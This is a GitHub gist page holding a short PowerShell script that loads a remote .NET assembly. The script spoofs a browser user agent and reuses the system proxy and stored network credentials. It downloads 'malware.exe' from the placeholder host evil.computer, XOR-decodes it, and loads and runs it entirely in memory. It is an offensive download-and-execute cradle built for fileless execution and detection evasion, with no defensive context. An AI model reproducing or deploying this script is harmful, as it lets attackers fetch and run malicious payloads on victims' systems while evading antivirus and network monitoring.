Skip to content

Instantly share code, notes, and snippets.

@vivami
Created August 31, 2018 09:34
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save vivami/70ba16263c07d60075b0d6e5cfd51bc5 to your computer and use it in GitHub Desktop.
Save vivami/70ba16263c07d60075b0d6e5cfd51bc5 to your computer and use it in GitHub Desktop.
Load remote .NET assembly with PowerShell
$wc=New-Object System.Net.WebClient;$wc.Headers.Add("User-Agent","Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0");$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;$wc.Proxy.Credentials=[System.Net.CredentialCache]::DefaultNetworkCredentials
$k="XOR\_KEY";$i=0;[byte[]]$b=([byte[]]($wc.DownloadData("https://evil.computer/malware.exe")))|%{$_-bxor$k[$i++%$k.length]}
[System.Reflection.Assembly]::Load($b) | Out-Null
$parameters=@("arg1", "arg2")
[namespace.Class]::Main($parameters)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment